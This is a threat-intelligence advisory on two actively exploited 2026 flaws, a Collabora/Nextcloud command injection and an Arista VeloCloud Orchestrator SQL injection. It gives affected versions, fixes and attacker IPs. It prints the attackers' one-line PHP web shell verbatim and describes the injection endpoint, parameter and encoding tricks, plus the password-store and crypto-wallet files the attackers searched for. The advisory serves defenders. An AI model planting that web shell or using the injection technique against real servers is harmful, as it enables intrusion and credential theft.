# CISA KEV: Actively Exploited Collabora Online CODE Server RCE (CVE-2026-110447) and Arista VeloCloud Orchestrator SQLi (CVE-2026-114625)

> CISA added two actively exploited critical flaws to the KEV catalog on 2026-10-23: an unauthenticated OS command injection in the Collabora Online Built-in CODE Server (richdocumentscode) Nextcloud app, used to plant PHP web shells and hunt for credential stores and crypto wallets, and a SQL injection in on-premise Arista VeloCloud Orchestrator that elevates any authenticated user to local superuser operator. Neither exploitation campaign is attributed to a named actor.

- **Published:** 2026-10-24T08:12:25Z
- **Last reviewed:** 2026-10-24T08:12:25Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-4358
- **ID:** TL-2026-4358
- **Severity:** CRITICAL (CVSS 9.9)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 20 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-110447, CVE-2026-114625, CVE-2026-17191

## Description

CVE-2026-110447 (CVSS 4.0: 9.2, CWE-78) is an OS command injection in proxy.php of the Collabora Online Built-in CODE Server app (richdocumentscode) for Nextcloud, affecting versions before 26.4.303. The flaw is reachable without authentication when the built-in CODE server is not running (for example after a restart, upgrade or crash). Per the public GitHub incident report (CollaboraOnline/richdocumentscode issue 354, GHSA-g3vx-3m76-fghh), the vulnerable endpoint is /apps/richdocumentscode/proxy.php?status, and the injection is delivered through the remote_font_config.url parameter using encoded path traversal (%2e%2e), shell command substitution ($( and ${IFS}) and base64-encoded payloads piped to a shell. Standalone Collabora Online servers, Docker, RPM/DEB installs and Nextcloud All-in-One are not affected. Nextcloud 29 and older cannot install the patched app version.

Exploitation was first logged on 2026-09-10 (19:51 UTC+2) from 139.28.18.122 and again on 2026-09-11; a further attempt from 89.38.98.50 hit a patched server on 2026-09-14. The fix was committed 2026-09-09 and released as 26.4.303 on 2026-09-11, roughly four weeks before the CVE and advisory were published on 2026-10-14. Attack payloads wrote PHP web shells (shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php, shxf4645.php, shx13a86.php, shx56367.php) into apps/richdocumentscode/ with the content <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');, and sent system information to webhook.site callback URLs. Post-exploitation commands searched for password databases and password-manager artifacts (*.kdbx, bitwarden, 1password) and cryptocurrency wallet material (wallet.dat, keystore.json, .bitcoin, .electrum, .monero, .ethereum). Failed sudo attempts by the web server account were observed; no confirmed root access or data theft was established. Some administrators claimed ransomware operators also used the flaw, but this was not independently confirmed.

CVE-2026-114625 (CVSS 9.9 v3.1 per CISA/press, 9.4 v4.0 per Arista advisory 0199, CWE-89, internal tracking BUG2043622) is a SQL injection in on-premise Arista VeloCloud Orchestrator (VCO). An authenticated user holding even the lowest built-in tenant role (Enterprise Read Only) can gain local superuser operator privileges and reach functionality intended only for internal use. It requires network access to the VCO web interface and a valid authenticated session, with no user interaction. Affected: 5.2.x before 5.2.3.18, 6.1.x before 6.1.3.10, 6.4.x before 6.4.2.12; VeloCloud Gateway and Edge are unaffected. Arista confirmed exploitation; attack sources reported are 74.82.197.86 and 38.54.50.151. Exploitation is unattributed. It is reported as the third actively exploited VCO flaw since July 2026, after CVE-2026-16812 and CVE-2026-93952 (both CVSS 10.0). Arista advisory 0199 was published 2026-10-22 (the advisory page states it was updated 2026-10-26, after the KEV date). Both CVEs were added to CISA KEV on 2026-10-23 with an FCEB remediation deadline of 2026-10-26.

Note: the Arista advisory text for the earlier VCO flaws (advisory 0145, CVE-2026-17191/17192) is a different issue from CVE-2026-114625 and is not conflated here. The Hacker News article lists the two VeloCloud IPs as Japan-based; the web-shell/IP details for the Collabora campaign come from the public GitHub incident report as relayed by The Hacker News and BleepingComputer.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1078 Valid Accounts
- T1059 Command and Scripting Interpreter
- T1505 Server Software Component
- T1027 Obfuscated Files or Information
- T1552 Unsecured Credentials
- T1555 Credentials from Password Stores
- T1082 System Information Discovery
- T1567 Exfiltration Over Web Service

## Sources

- [CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud](https://thehackernews.com/2026/10/cisa-flags-two-actively-exploited.html)
- [Hackers backdoor Nextcloud servers (The Hacker News)](https://thehackernews.com/2026/10/hackers-backdoor-nextcloud-servers.html)
- [Hackers exploit Collabora RCE flaw to backdoor Nextcloud servers (BleepingComputer)](https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/)
- [Hackers Use Critical Collabora Flaw to Compromise Nextcloud Servers (eSecurity Planet)](https://www.esecurityplanet.com/threats/news-collabora-nextcloud-cve-2026-110447/)
- [richdocumentscode GitHub incident report: RCE via proxy.php (issue 354)](https://github.com/CollaboraOnline/richdocumentscode/issues/354)
- [Nextcloud advisory: Collabora built-in user, update ASAP](https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516)
- [OpenCVE: CVE-2026-110447](https://app.opencve.io/cve/CVE-2026-110447)
- [CISA KEV catalog entry for CVE-2026-110447](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-110447)
- [Arista Security Advisory 0199 (CVE-2026-114625)](https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199)
- [SOCRadar: VeloCloud Orchestrator CVE-2026-114625 Active Exploitation](https://socradar.io/blog/velocloud-orchestrator-cve-2026-114625-active-exploitation/)
- [Arista Security Advisory 0145 (earlier VCO flaws CVE-2026-17191/17192)](https://www.arista.com/en/support/advisories-notices/security-advisory/24365-security-advisory-0145)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-4358